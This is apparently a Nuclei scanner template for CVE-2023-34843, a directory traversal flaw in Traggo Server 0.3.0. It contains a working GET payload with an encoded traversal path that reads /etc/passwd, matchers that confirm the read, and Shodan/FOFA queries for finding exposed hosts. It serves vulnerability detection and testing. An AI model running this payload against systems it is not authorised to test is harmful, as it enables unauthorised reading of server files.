id: CVE-2023-34843

info:
  name: Traggo Server - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    traggo/server version 0.3.0 is vulnerable to directory traversal.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/rootd4ddy/CVE-2023-34843
    - https://github.com/0x783kb/Security-operation-book
    - https://github.com/Imahian/CVE-2023-34843
    - https://github.com/hheeyywweellccoommee/CVE-2023-34843-illrj
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34843
    cwe-id: CWE-22
    epss-score: 0.92392
    epss-percentile: 0.9974
    cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: traggo
    product: traggo
    shodan-query:
      - html:"traggo"
      - http.html:"traggo"
    fofa-query: body="traggo"
  tags: cve2023,cve,traggo,lfi,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402206113c44e418359a50b53fa0284215bb5ac9274ce08734e2e750d0730cf102b1b02202ac80644474814fd90f6dcb0533851d8b702a96cce058bffa256e0463d1d3799:922c64590222798bb761d5b6d8e72950